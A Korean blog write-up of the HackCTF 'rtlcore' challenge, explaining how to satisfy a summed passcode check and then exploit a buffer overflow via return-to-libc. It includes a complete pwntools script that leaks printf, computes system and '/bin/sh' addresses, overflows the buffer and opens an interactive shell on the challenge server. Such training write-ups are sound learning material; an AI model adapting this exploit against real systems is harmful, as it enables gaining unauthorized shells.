Hacking/write-up

(HackCTF) rtlcore

JINJIN123 2020. 9. 10. 16:06

(HackCTF) rtlcore

core함수에 접근하게 되면 read함수가 받는 문자열 길이가 buf에 비해 충분하므로 bof공격을 할 수 있겠습니다.

 

check_passcode함수의 결과가 0xC0D9B0A7 이 되어야 합니다.

 

 

-풀이

main 함수에서 check_passcode함수로 입력받은 문자열의 주소값을 넘겨줍니다.

 

check_passcode함수에서 이 반복문을보면 *(4+i+a1) 이 부분은 a1이 주소값이기 때문에 주소가 가르키는 공간에 있는 값에 접근합니다.

-> v2=*(a1)+ *(a1+4) + *(a1+8) + *(a1+12) + *(a1+16)

 

3235492007/5   =647098401

3235492007%5  나머지=2

647098401  647098401  647098401  647098401  647098403  이 순서대로 a1, a1+4, a1+8,a+12,a+16 주소가 가르키는 값이 되면 되겠습니다.

 

#입력받을때 string 형태로 입력받기 때문에 pwntools 에서 p32를 이용하여 4바이트씩 값이 입력될 수 있게 해줍니다.

 -pwntools 코드

 

#-*-coding:utf-8-*-
from pwn import *
p=remote('ctf.j0n9hyun.xyz',3015)
l=ELF('./libc.so.6')
binsh_offset=l.search('/bin/sh').next()
 
payload=p32(647098401)*4
payload+=p32(647098403)
p.sendline(payload)
p.recvuntil('바로 ')
printf_addr=int(p.recv(10),16)
libc=printf_addr-l.sym['printf']
system=libc+l.sym['system']
binsh=libc+binsh_offset
log.success('libc_addr='+hex(libc))
log.success('system_addr='+hex(system))
log.success('binsh_addr='+hex(binsh))
 
p.recvuntil('일거야\n')
payload='a'*0x42
payload+=p32(system)
payload+='aaaa'
payload+=p32(binsh)
p.sendline(payload)
p.interactive()

 


문제를 풀며 아쉬웠던 점

main에서string으로 입력받고 check_passcode함수로 주소값을 넘겨주고

for문에서 4바이트씩 주소값을 증가시키는 부분에서 어떻게 입력을 해야 4바이트씩 다음 값을 넣어줄 수 있을까하는 부분에서 막혔다.

pwntools에서 p32로 값을 보내주면 됐었다 알고 있는 사실이였는데 바로 활용을 못했다.